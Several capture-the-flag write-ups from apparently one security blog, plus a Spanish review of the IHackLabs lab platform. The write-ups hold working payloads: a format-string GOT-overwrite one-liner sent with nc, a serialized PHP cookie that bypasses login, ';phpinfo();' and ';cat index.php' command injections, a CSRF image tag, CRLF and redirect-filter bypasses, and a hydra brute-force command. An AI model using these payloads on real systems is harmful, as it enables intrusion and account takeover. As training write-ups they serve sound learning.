BITSCTF – Tom and Jerry (50 points)

I have a little time to join on BITSCTF with my team defconUA and want to put some writeup on one of the task i was working. They give us a pcapng named ‘Cat.pcapng’. Ok, challenge name is “Tom and Jerry” and all the things we see inside pcap is related with input devices. First thing we must check is what kind of device had been recorded on the pcap.

Device information
Device information

Seems we have a Wacom tablet with vendor and product description.

idVendor: Wacom Co., Ltd (0x056a)
idProduct: CTL-460 [Bamboo Pen (S)] (0x00d4)

From here we need what are those captured data bits and what’s the meaning of. Mainly we have packets of 73 and 64 bytes length. 64 bytes ones  are just confirmation of previous operation, so we can filter becuase there are nothing interesting there. But first, will apply as column “Leftover Captured Data” and see on the main packet window.

Apply as Column option over Leftover Data Captured
Apply as Column option over Leftover Data Captured

Now filter all non interesting packets commented previously. This can be done with simply line on wireshark.

((usb.transfer_type == 0x01) && (frame.len == 73))

We can ‘save as’ Cat_filtered.pcapng and work with tshark from here. But the important thing is understand how are involved those hex-bytes of captured data. Thanks to the help of teammate he points me how it works.  Let’s see.

Example: 
02:f0:50:1d:72:1a:00:00:12
Bytes:
02:f0: -- Header
50:1d: -- X
72:1a: -- Y
00:00: -- Pressure
12 -- Suffix

Things come more clear now. We can extract those X,Y and see the movements over the Wacom tablet with the pen. But first we must separate data on a plaintext file to work with it.

$  tshark -r Cat_filtered.pcapng -T fields -e usb.capdata -Y usb.capdata > cat.txt

First tries were frustrated because little endian representation. We need to extract positions 3,4 for X and 5,6 for Y but first we must somehow swap those bytes. So first, filter with awk magic interesting data:

awk -F: '{x=$3$4;y=$5$6}$1=="02"{print x,y}' cat.txt>hex

Then, apply swap bytes with a little help of python. This was my first try:

#!/usr/bin/python
import codecs

file = open("hex", "r")

for line in file: 
	data = line.split(' ')
	
	x = codecs.encode(codecs.decode(data[0], 'hex')[::-1], 'hex').decode()
	y = codecs.encode(codecs.decode(data[1].replace('\n',''), 'hex')[::-1], 'hex').decode()
	if '0000' not in x and '0000' not in y:
		int_x = int(x, 16)
		int_y = int(y, 16)
		print int_x,int_y

Then just write a file with data on X and Y and try to plot with gnuplot:

$ python le.py > data.txt
$ gnuplot 
$ plot "data.txt"

This was the result with mirrored effect. Clearly was something that could be a flag, but i was made an important misstake. I have to take care about of third variable: pressure. With this information and help of teammates things could be clear. Pressure was the ‘z’ coord on the new python script. So include this thing on hex data with awk and rewrite python script.

$ awk -F: '{x=$3$4;y=$5$6}{z=$7}$1=="02"{print x,y,z}' cat.txt>hex

Now the python taking ‘z’ as variable too. (thanks Mykola)

#!/usr/bin/python
from pwn import *

for i in open('hex').readlines():
    ii = i.strip().split(' ')
    x = int(ii[0], 16)
    y = int(ii[1], 16)
    z = int(ii[2], 16)

    if z > 0:
        print u16(struct.pack(">H", x)), u16(struct.pack(">H", y))

And now plot the results:

 

flagBITSCTF{THE_CLOSER_YOU_LOOK_THE_LESS_YOU_SEE}



IHackLabs, aprende de los mejores

Introducción

Recientemente he probado “IHackLabs”, una plataforma de aprendizaje, laboratorios y certificaciones para estudiantes y profesionales. Me he reunido con Diana y Carlos, la gente detrás de esta idea, en “Sh3llCON2017 Congreso de Seguridad“. Todo el trabajo en torno a los laboratorios están destinados a reproducir los ejercicios del mundo real sobre la base de sus experiencias profesionales. Carlos trabaja en NCC Group y tiene suficiente experiencia profesional que proyectó en el diseño de los laboratorios.

Estructura y objetivo

Dispones de una primera red “Usa” de unas 20-27 maquinas con diferentes sistemas operativos instalados. Hay otras 3 redes más (España, Asia, UK) con otras tantas maquinas.El objetivo es conseguir obtener cierto dato de un CEO de la empresa. Cada maquina necesita ser comprometida completamente y acceder a un “token” que siempre está en /root/secret.txt o en el escritorio del Administrador de Windows, dependiendo si comprometemos un linux o un windows.

* Aspecto de las redes que debemos atacarAcceso por VPN

Cuando te registras, cada usuario recibe un email con las credenciales acceso y las configuración para conectarte a la VPN. Muy fácil de configurar y de acceso inmediato.

Primeras impresiones de los laboratorios

Durante casi un mes he estado probando la parte de la plataforma relacionada con los laboratorios. A menudo cuando utilizamos entornos de aprendizaje de este tipo nos enfrentamos a vulnerabilidades mas o menos conocidas en una variedad de sistemas operativos, entornos y software instalado. Cuando empiezas a utilizar el laboratorio te das cuenta que la mecánica es similar pero con algo que a mí me pareció interesante: en las fases de reconocimiento las herramientas informan de servicios que, a priori, pueden parecer vulnerables y, aunque algunos si lo sean, su explotación puede resultar menos trivial o conocida de lo habitual. Por ejemplo, podemos encontrarnos con un determinado software instalado cuyo exploit público no va a funcionar porque el sistema operativo en el que está instalado varía. Eso nos permite rehacer el exploit, cambiar offsets, probar… En definitiva, aprender de verdad reproduciendo el software en local para conseguir lanzar exploits con éxtio.

* Aspecto del panel
* Aspecto del panel

Es muy importante tener cierta organización a la hora de abordar la cantidad de información que se nos viene encima y no sólo pararse en obtener el fichero que nos piden, “/root/secret.txt”, ya que puede que obtengamos información relacionada con otras maquinas dentro de una misma. A mi me pasó que, con la “euforia” inicial, me olvidé de estructurar los datos que me iba encontrando y tuve que reorganizarlo todo desde cero, crearme un script para los escaneos con nmap (https://gist.github.com/tunelko/da2d3646e9a417142d83e2b7004b22e6) y replantearme la estrategia. Diréis, bueno, Nessus, OpenVas y otras herramientas ya lo hacen. Y sí, puedes estructurar fácilmente fases iniciales con dichas herramientas, pero preferí solo escanear con nmap y tener en html los resultados.

Las maquinas están, a criterio del creador, catalogadas con niveles bajo, fácil, medio, difícil, extremo. Este criterio suele coincidir con lo que te vas encontrando. Cuando tienes alguna dificultad o duda en alguna de las maquinas dispones de soporte a través de email, aunque se rumorea que están pensando en poner algún tipo de foro.  En cualquier caso se dispone de un soporte cómodo, rápido y eficaz.

En definitiva creo que esta plataforma (y este tipo de plataformas) sirven como preparación para certificiones OSCP preparándote realmente y sin ningún tipo de duda para afrontar el mundo laboral.



LSE Epita format string

Time ago i can’t write on this blog. It’s normal when your time is full dedicated to work and study. Now, i have one hour to publish something related guess with ? Yes, ctf challenges :)

Since this is only 1 point level and i think is basic for everyone i’ve decided to publish the writeup. I have not mentioned LSE Epita CTF is a great french university event, i hope someone take the idea here in Spain.

We have a format string vulnerability, here is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void print_flag()
{
    char* flag = NULL;
    size_t n = 0;
    FILE *f = fopen("flag.txt", "r");

    getline(&flag, &n, f);
    printf("Well played, the flag is: %s\n", flag);
    fflush(stdout);
    free(flag);
    _exit(1);
}

void vuln()
{
    char buffer[512];

    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    exit(1);
}

int main(int argc, char **argv)
{
    vuln();
}

What we have here is another vuln() function with printf. We need to change the flow of the code and redirect to print_flag().

To achieve this, first, we need to know the buffer offset:

 for i in {1..200};do echo "searching ... offset: $i - `echo  AAAA%$i\\$08x | /media/sf_CTF_exploits/LSE-EPITA/format`"; done | grep AAAA41414141

searching ... offset: 4 - AAAA41414141

Just after printf on vuln() we have an exit call that we are going to use to overwrite GOT table with our print_flag().So, we need two main function address:

$ objdump -t format|grep print_flag
080485cb g     F .text	00000080              print_flag

$ objdump -TR format|grep exit
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   exit
0804a018 R_386_JUMP_SLOT   _exit
0804a028 R_386_JUMP_SLOT   exit

We overwrite the exit call address with our print_flag() one.
Because size, here we need to split 0x080485cb in two parts:

0x080485cb, target printflag() address.
0804 – 2052 (2052-8): two last bytes on print_flag
85cb – 34251 (34251-2052): two first bytes on print_flag

Putting all together:

$ perl -e 'print "\x2a\xa0\x04\x08"."\x28\xa0\x04\x08"."%2044d"."%4\$hn"."%32199d"."%5\$hn\n"'| nc -vvv lse.epita.fr 52129

Well played, the flag is: LSE{[REDACTED]}



Hackover CTF – messagecenter

A long time since last writeup so i have decided comment a simple web level solved on “Hackover CTF”. It’s very old vulnerability related with type safe comparation on PHP and serialize function. We have a web login with normal test users (demo, demo2) and a ‘remember login’ function that help us to keep login ‘passing data’ to autologin cookie, which have the vulnerability.  This cookie has the original format:

a:2:{s:8:"username";s:4:"demo";s:8:"password";s:32:"6388af9e3c3b76e5f053c0ff204f9228";}

As wen can see the source code of the application we start analyzing vulnerable points on do_login method, seeing what’s really compared with this piece of serialized cookie string.

function do_login($username, $pw_hash, $autologin)
{
	global $db;
	if (isset($_SESSION['user_id'])) {
		return true;
	}
	$sth = $db->prepare('SELECT id, password FROM account WHERE username = ?');
	$sth->bindValue(1, $username);
	$result = $sth->execute()->fetchArray();
	if ($result && $result['password'] == $pw_hash) { //<-- See how is compared, == instead === !!! 
		$_SESSION['user_id'] = $result['id'];
		if ($autologin) {
			setcookie('autologin', serialize(array(
				'username' => $username,
				'password' => $pw_hash
			)), time() + 60*60*24*14);
                }
		header('Location: /');
		die();
	}
	return false;
}


if (isset($_COOKIE['autologin'])) {
	$data = @unserialize($_COOKIE['autologin']);
	do_login($data['username'], $data['password'], true); // and here data unserialized. 
}

So the problem is we can set a boolean true value in serialized password data and this will produce ‘true’ comparation. Here it’s:

a:2:{s:8:"username";s:5:"Alice";s:8:"password";b:1;}

Ok. It’s all to get the flag.

ssCaptura

If you are interested on this PHP serialize vulnerability and others like that, see this pdf:
http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20POC2009%20Shocking%20News%20In%20PHP%20Exploitation.pdf

 



n00bs CTF Labs by Infosec Institute – 2nd edition

Here another edition of n00bs infosec CTF. 13 Levels, i will add as soon as i can complete, so stay tuned and keep visiting this post. Remember first edition ?.

Level 2

A simple calculator. Need to inject something that breaks the php code and prints something like phpinfo(). After several tries with operarands with no success i think about operator must not be set with any special ‘cast’ and simple put this string to pass the level.

;phpinfo();

So this string makes eval to lauch our phpinfo even is getting error too. I think operator variable was not sanitize at all. Maybe the solution to mitigate this attack could be a very basic code snipped like:

$operator = array("+", "-", "*", "/");
// If not in array, fail. 
if (!in_array($_GET['operator'], $operator)) {
    die('FAIL!');
}

lvl2Captura

Level 3

Hint says that we have to put a newline to get our role as admin. We inject after ‘lname’ parameter:

$ curl "http://ctf.infosecinstitute.com/ctf2/exercises/ex3.php" -H "Cookie: PHPSESSID=0sik0or2grffh5uqibmildtp82" -H "Connection: keep-alive" --data "user=tunelk02&password=lalala&lname=any"%"0aadmin&email=t"%"40tt.com&register=Register"

What happened here is that the file that saves new users set automatic role as normal user and radsline by linea when login. If we put “lname=any%0aadmin” we force to register process to save as admin. And then just login.

lvl3Captura

 

 Level 4

Description says:

“You are confronted with a website that loads some .txt files to display content for its pages. You are thinking that it may be vulnerable. You aim to load a nice file from a remote server and share the link with unsuspecting visitors.
Your task is to successfully load a PHP file located in the root of infosecinstitute.com. The file should not exist but you must load it without getting errors and it must have the PHP file extension.”

So has to be just read instructions. Let’s test with http://infosecinstitute.com/file1.txt.php:

http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=http://infosecinstitute.com/file1.txt.php

lvl42Captura

http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HttP://infosecinstitute.com/file1.txt.php

Well it’s detected as URL. Reading hint (case-insensitive) we notice we can change some letters a little bit withou alter the mission.

Nice. Next one?.

lvl4Captura

Level 5

“It seems you have encountered a page which requires users to login before viewing. Do some magic without having to log in.”

If we focus on top of the page we see a disabled login button, something like this:

<a class="btn btn-sm btn-info" disabled="" href="login.html">login</a>

lvl5Captura

 

 

And if we try to get login.html access, is not found. Some of the levels, IMHO, have a very poor realistic implementation. Why they don’t put a real (but restricted login.html) that can be bypassed anyway?. Only need a check of the Referer header, a request like this:

$ curl -vvv http://ctf.infosecinstitute.com/ctf2/exercises/ex5.php -H "Referer: http://ctf.infosecinstitute.com/ctf2/exercises/login.html"

Gosh, you were fast. You completed Level 5. You will be redirected to level 6 in 10 seconds.

Level 6

“It seems you have landed on a site that takes HTML tags for article’s comments. You want to exploit this by making the users perform an action on the bank.php file in the root of site.com, if they are logged in there. You want users browsers to load that page and execute the query string transferTo with the number 555 as a parameter. Go ahead.”

Hey<img src="http://site.com/bank.php?transferTo=555">Visit

Enough and works on my server.

lvl6Captura

 Level 7

There are a hidden value here, injecting just ><h1>tunelko</h1>, we got:

lvl7_2

 
It seems  like PHP_SELF vulnerability, let’s close our quote.

 '><h1>tunelko</h1>

lvl7Captura

Level 11

Presented as another blacklisted part of the website and categorized as “Vulnerability: Bypassing blacklists“. A message appears on the webpage.

level11,sgCaptura

We just inspect cookies and see one of them called ‘welcome’ setted to no. Just change it to ‘yes’ to bypass the ‘restriction’:

$  curl -vvv "http://ctf.infosecinstitute.com/ctf2/exercises/ex11.php" -H "User-Agent: tnlk" -H "Cache-Control: no-cache" -H "Cookie: welcome=yes"|grep lead

Now you can see a different message.

You did it again! Why did they blacklist you anyway?

Level 12

We need to find password. Another bruteforce login.  On first edition they only give you a hint (cisco word) that guides you to try several combinations.  Now just google for the first dictionary with “filetype:lst password” query as search.

Ok, we get first position on first page an openwall common words. How to attack this time? We can beat it several ways: hydra, burp intruder, … As last time i did it with burp, let’s change to hydra this time. We download openwall dictionary on the same directory and start hydra tool with this parameters:

Host: ctf.infosecinstitute.com
Method: http-form-post 
Form action: "/ctf2/exercises/ex12.php:username=admin&amp;password=^PASS^&amp;logIn=Login:Incorrect username or password combination." 

login for admin with Password file downloaded before. 
-l admin -P password-2011.lst 

With 10 threads, wait for 30 and save output to log. 
-t 10 -w 30 -o log

* Notice post parameters inside and incorrect response for invalid users. 


 $ hydra ctf.infosecinstitute.com http-form-post "/ctf2/exercises/ex12.php:username=admin&amp;password=^PASS^&amp;logIn=Login:Incorrect username or password combination." -l admin -P password-2011.lst -t 10 -w 30 -o log

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-06-26 19:21:23
[DATA] max 10 tasks per 1 server, overall 64 tasks, 3546 login tries (l:1/p:3546), ~5 tries per task
[DATA] attacking service http-post-form on port 80
[80][http-post-form] host: ctf.infosecinstitute.com   login: admin   password: princess
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-06-26 19:21:49

Ok, finished in few seconds. Login is admin and password is princess.

level12Captura

Level 13

Text on this level says …

“Hmm, it seems that level thirteen is redirecting to this page. Why do not you analyze the redirect and search if the redirect is validated thoroughly. If not, you want to redirect to a page on a remote server and send links to people fooling them to think they are accessing a different domain.”

If you see the menu link you can see a GET parameter redirect. This parameter is the key to succcessfully achieve that they are askin for: redirect to some page.

GET /ctf2/exercises/ex13.php?redirect=http://104.131.38.172/file.html HTTP/1.1

Not so fast … Seems they are filtering http protocol somehow, an ugly sentence inform us about it: Bad Redirect Parameter. 

What technique we could use to bypass it? First i have tried case-sensitive, but doesn’t work. Then i remember some old-tricky one  for servers that has this vulnerability. Http splitting is one of the one that can bypass the filter. It’s only a new line represented with hexadecimal values (%0a%0d) on GET request. As OWASP says on wikipage:

Exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages.

So we can try it:

http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=%0d%0a%20http://104.131.38.172/file.html

Now it works. Also we can put some other protocol on server we can manage and will work too.


More info: http://ctf.infosecinstitute.com/ctf2/

 

 



HITB TEASER: SATCOM

WEB 1000

SATCOM
Our division of foreign cyber affairs has been hard at work lately. While mapping out some obscure subnets (which we think belong to the intelligence agency that is investigating HEAVENWEB) we’ve come accross a Sattelite Communications Center. One of our employees managed to snag a copy of some source code before they further locked down the platform. Luckily the login frontend still seems to be reachable.

Can you help us gain access to the platform and find out which information has been compromised?

Read More



n00bs CTF Labs by Infosec Institute

This time InfoSec Institute bring us the opportunity to learn a very basic concepts for n00bs on a CTF with 15 Levels.

Level 1

Just browse the source and see the comment.

<!-- infosec_flagis_welcome -->

flag: infosec_flagis_welcome

Level 2

Seems we have a broken image here. Just to see binary output going to make a curl request.

$ curl -vvv http://ctf.infosecinstitute.com/img/leveltwo.jpeg
HTTP Request / Response ommited ...
aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=

The first base64 appears, let’s decode using python:

x='aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc='
x.decode('base64')
infosec_flagis_wearejuststarting

flag: infosec_flagis_wearejuststarting

Level 3

We have a QR presented on the screen. After decode it with a command-tool like zbarimage or just use your mobile, we have a morse code inside.

.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.

Because we just don’t want waste time, use a web online.
flag: INFOSECFLAGISMORSING

Level 4

Another image on the screen saying “HTTP means Hypertext Transfer Protocol”. Let’s curl again:

$ curl -vvv http://ctf.infosecinstitute.com/levelfour.php
< HTTP/1.1 200 OK
< Date: Fri, 13 Mar 2015 19:42:38 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.6
< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf
< Vary: Accept-Encoding
< Content-Length: 3514
< Content-Type: text/html

In HTTP Headers we can see a wide variety of informations about a request with his response, this time we fix our eyes on:

< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf

As we know our flag patern is infosec_flagis_ , this string doesn’t make sense, so let’s use python with rot_13 as decoder to try:

import codecs
codecs.encode('vasbfrp_syntvf_jrybirpbbxvrf', 'rot_13')
'infosec_flagis_welovecookies'

flag: infosec_flagis_welovecookies

Level 5

This time an infinite loop alert is ‘dosing’ our browser when visit page. Using some curl/burp proxy we can see entire source and see what’s causing this dos.

    <script>

    for(;;){
      alert('Hacker!!!');
    }

    </script>
    
    <img src="img/aliens.jpg" /> <br /> <br />

So let’s download this aliens.jpg file and see what is hidden. Stego is an interesting technique to hide messages inside media files. There are a lot of theory and tools to (un)hide messages, one of them is steghide.

$ steghide extract -sf aliens.jpg
Enter passphrase: (none)
wrote extracted data to "all.txt".
$ cat all.txt
01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011

No password for the embeded data, seems binary string we can convert using python:

import binascii
 
x='01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011'
n = int(x, 2)
binascii.unhexlify('%x' % n)
 
'infosec_flagis_stegaliens'

flag: infosec_flagis_stegaliens

Level 6

In pcap, UDP packet that contains an hexadecimal string “”696e666f7365635f666c616769735f736e6966666564”, easy to decode:

import hashlib
x='696e666f7365635f666c616769735f736e6966666564'
x.decode('hex')
Out[1]:'infosec_flagis_sniffed'

flag: infosec_flagis_sniffed

Level 7

This level redirects to a 404.php page that says Not found. A closer look to HTTP on Burp repeater, it reveals the flag:

HTTP/1.0 200 aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==
Date: Fri, 13 Mar 2015 20:31:20 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Content-Length: 0
Connection: close
Content-Type: text/html

Another base64 string to decode on python:

x='aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA=='
x.decode('base64')
'infosec_flagis_youfoundit'

flag: infosec_flagis_youfoundit

Level 8

It says to download a binary file app.exe. After some static and dinamic analisis with IDA and OllyDbg, seems that launch netstat command but nothing more.

This is main function decompiled showing netstat command:

// Address range: 0x401290 - 0x4012ff
int main(int argc, char ** argv) {
    // 0x401290
    int32_t size;
    alloca(size);
    printf("############################################\n");
    printf("# Welcome to infosec institute net app v1.0#\n");
    printf("############################################\n");
    system("netstat");
    _getch();
    return 0;
}

If we search for strings, we found the flag, allocated in .rdata:

 section: .rdata
0x403000: 69 6e 66 6f 73 65 63 5f 66 6c 61 67 69 73 5f 30 |infosec_flagis_0|
0x403010: 78 31 61 |x1a |
0x403013: 00 |. 

$ strings app.exe |grep flag
infosec_flagis_0x1a

flag: infosec_flagis_0x1a

Level 9

Auth login that says “CISCO IDS WEB LOGIN SYSTEM”. After several SQLi manual and automatic sqlmap tries we think that title of the challenge is important.

Maybe some default password on Cisco web interface device. Using Burp intruder with “cluster bomb” option we can set two simple list to try, first contains ‘root’,’admin’,’cisco’ for the username and second a common list of passwords. After a while we can observe a different content-lenght on the responses, this can be indicate that we have the flag:

cisco

username:root
password: attack

Seems is on reverse order, let’s do it in correct with python:

def rev(text):
print 'Reverse: ', text
return text[::-1]

rev('ssaptluafed_sigalf_cesofni')
Reverse: ssaptluafed_sigalf_cesofni
'infosec_flagis_defaultpass'

flag: infosec_flagis_defaultpass

Level 10

For this level a Flag.wav is available to download. Seems stego but this time we use steghide with a dictionary password, all in a expect script to automatize. Later we see that this method was not successful but i want to include as a way to create a little bruteforce password automatization on stego.

$ cat steg.sh 
#!/usr/bin/expect 
set password [lindex $argv 0]
spawn  steghide extract -sf Flag.wav
expect "salvoconducto:"
send -- "$password\r"
expect eof

What it does this script is set a variable password, lauch steghide with params to extract and ‘expect’ password input(salvoconducto is password in some wird spanish translate) where we are going to bruteforce via dictionary file in bash this way:

$ for $word in `cat common.txt`; do ./steg.sh $word; echo "Tried: " $word; done

Finally the content of the wav file can be unhide with audacity changing frequency to 8000 hz and listen carefully the words: infosec[unserscore]flagis[underscore]f,o,u,n,d (spelled).

Attached file 

flag: infosec_flagis_found

Level 11

We download another image. One basic technique to hide some data on image files is putting on exif fields, so let’s see if we can see what is behind

$ exiftool php-logo-virus.jpg
ExifTool Version Number : 8.60
File Name : php-logo-virus.jpg
Directory : .
File Size : 13 kB
File Modification Date/Time : 2015:03:11 22:14:36+01:00
File Permissions : rwxrwx---
File Type : JPEG
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Exif Byte Order : Big-endian (Motorola, MM)
Document Name : infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm��.
Profile CMM Type : Lino

On document name we see prefix ‘infosec_flagis_’ and another base64 that decoded give us an url (http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif) . After trying to carve this gif89a image and found nothing we assume flag is: infosec_flagis_POWERSLIDE

flag: infosec_flagis_POWERSLIDE

Level 12

An image of master yoda appears, but again can’t extract stego information. We have been trolled? We inspect source code of the page and found a css/design.css that contains:

.thisloveis{
color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72;
}

And again python to decode this hex string:

import hashlib
x='696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72'
x.decode('hex')
'infosec_flagis_heyimnotacolor'

flag: infosec_flagis_heyimnotacolor

Level 13

This level contains a message that says: “WHAT THE HECK HAPPENED HERE? IT SEEMS THAT THE CHALLENGE HERE IS GONE? CAN YOU FIND IT? CAN YOU CHECK IF YOU CAN FIND THE BACKUP FILE FOR THIS ONE? I’M SORRY FOR MESSING UP :(”

We need a backup file of the levelthirteen.php. With same burp intruder technique we start to walk on filename extensions until we can find the backup one:

payloadlvl13

Start the attack and see different HTTP responses, all 404 but one is 200 OK.

payloadlvl2-13

It says to download misc/imadecoy file that is “tcpdump capture file (little-endian) – version 2.4 (Linux “cooked”, capture length 65535)”. Open wireshark, see a lot of packets and goto export HTTP objects to see if something is interesting there. We decide to download HoneyPY.PNG, here is the flag:

HoneyPY

flag: infosec_flagis_morepackets

Level 14

This level points to a SQL file containing soem admin password (phppass). It’s a little bit hint table name is called with a question mark – Flag?

-- Table structure for table `flag?`
--

CREATE TABLE IF NOT EXISTS `flag?` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_login` varchar(60) NOT NULL DEFAULT '',
  `user_pass` varchar(64) NOT NULL DEFAULT '',
  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `user_activation_key` varchar(60) NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT '0',
  `display_name` varchar(250) NOT NULL DEFAULT '',
  PRIMARY KEY (`ID`),
  KEY `user_login_key` (`user_login`),
  KEY `user_nicename` (`user_nicename`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `flag?`
--

INSERT INTO `flag?` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(1, 'admin', '$P$B8p.TUJAbjULMWrNXm8GsH4fb2PWfF.', 'admin', '[email protected]', '', '2012-09-06 20:09:55', '', 0, 'admin');

So I have discard cracking password (have tried with no luck) and continue to see data on the same file. In the date i have solved this, ‘misc’ directory has IndexOptions enable and can download another file seems real flag for level 14, level14.db, a sqlite db file containing this:

$ strings level14.db 
SQLite format 3
gtableflagflag
CREATE TABLE flag(flagval char[500] not null)
\u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073

So it’s unicode hex that can be converted into string with python:

import hashlib

x='\\u0069\\u006e\\u0066\\u006f\\u0073\\u0065\\u0063\\u005f\\u0066\\u006c\\u0061\\u0067\\u0069\\u0073\\u005f\\u0077\\u0068\\u0061\\u0074\\u0073\\u006f\\u0072\\u0063\\u0065\\u0072\\u0079\\u0069\\u0073\\u0074\\u0068\\u0069\\u0073'
h=x.replace("\\u00","")
h.decode('hex')
'infosec_flagis_whatsorceryisthis'

Another way to solve this is seeing firends table, same unicode hex string on ID 104.

flag: infosec_flagis_whatsorceryisthis

Level 15

This level is command injection against “dig mx” command. It’s easy to ‘stop’ execution with ‘;’ and inject another command again, let’s see interesting php code on index.php file with ‘; cat index.php’

      <?php
        if(isset($_POST['dig'])){
        echo "<pre>";
        $cmd = ($_POST['dig']);
        system("dig mx " . $cmd );
        echo "</pre>";
        die;
        }   
      ?>

What happens here is that $cmd variable is not properly sanitize and original command ‘dig mx’ is concatenated  with our input so system finally lauch ‘dig mx; cat index.php’. Very bad use system command this way.

Making use of several commands we are able to, at least, see what’s system underlying, who user we are, etc …

;uname -a
Linux ip-172-31-35-36 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64
;id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
; ls -lasth /var/www/html
total 112K
4.0K -rwxr-xr-x 1 root root 70 Mar 13 18:49 levelseven.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 index copy.php
4.0K -rwxr-xr-x 1 root root 142 Mar 13 18:49 404.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveltwo.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 leveltwelve.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelthree.php
4.0K -rwxr-xr-x 1 root root 3.8K Mar 13 18:49 levelthirteen.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelten.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelsix.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 levelone.php
4.0K -rwxr-xr-x 1 root root 4.0K Mar 13 18:49 levelnine.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfourteen.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfour.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelfive.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveleleven.php
4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 leveleight.php
4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 levelthirteen.php.old
8.0K -rwxr-xr-x 1 root root 5.2K Mar 13 18:49 index.php
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:52 misc
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 13:52 css
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:47 levelfifteen
4.0K drwxr-xr-x 7 root root 4.0K Mar 13 12:21 ctflabs
4.0K drwxr-xr-x 9 root root 4.0K Mar 13 04:50 .
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:48 js
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:47 img
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 04:12 ..
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 03:56 __MACOSX

: ;cat .hey – Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC

>>> x=’Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC’
>>> x.decode(‘base64’)
‘2+\xb1\xfad\xfa*G1\xf8\x88r24\xc5\x9f\x14\xfa*0\x1a\xfa.\x99.&\xc2’

After several tries to convert this encode to base64, rot13+base64, etc… i have found that is actually ATOM 128 encoded, a very weird type of encodings that really is just base64 with certainly chars to substitute. See this python code:

https://gist.githubusercontent.com/tunelko/49b7e64c1688d62d0ecd/raw/bd7ea14a38df81c3adc57db740663d54c6d147b1/weird_encodings.py

$ python b64variant.py "Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC" dec
base64:  2+��d�*G1�r24ş�*0�.�.&�
atom128:  infosec_flagis_rceatomized
megan35:  �7���5���ws�������<
hazz15:  ���0j��J43�и��/J���z0��䌿
zong22:  ����������/�O�.��fğ

Flag: infosec_flagis_rceatomized

Bonus challenges

